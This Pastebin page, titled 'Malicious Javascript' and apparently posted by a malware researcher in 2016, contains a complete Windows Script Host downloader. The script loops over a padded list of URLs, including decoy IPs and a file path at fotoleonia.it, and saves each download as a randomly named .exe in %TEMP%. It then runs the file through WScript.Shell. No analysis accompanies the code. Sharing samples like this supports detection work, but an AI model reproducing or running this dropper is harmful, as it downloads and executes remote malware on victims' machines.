Advertisement
dynamoo

Malicious Javascript

Mar 8th, 2016
422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function dl(){function a(){if(g.readyState==4&&g.status==200){var h= new ActiveXObject("ADODB.Stream");h.open();h.type=1;h.write(g.ResponseBody);h.position=0;h.saveToFile(c,2);h.close();try{f.Run(c,1,0);b=true}catch(err){}}}var e=["http://403.53.44.12","http://242.33.56.4.5","http://78.83.32.3","http://google.it","http://www.fotoleonia.it/files/sample.exe","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it","http://73.333.22.12","http://222.33.5.4.5","http://48.33.342.3","http://google.it"];var b=false;for(var d=0;d<e.length;d++){var f= new ActiveXObject("WScript.Shell");var c=f.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+Math.round(Math.random()*100000000)+".exe";var g= new ActiveXObject("MSXML2.XMLHTTP");g.onreadystatechange=a;try{g.open("GET",e[d],false);g.send()}catch(err){};if(b===true){break}}}dl()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement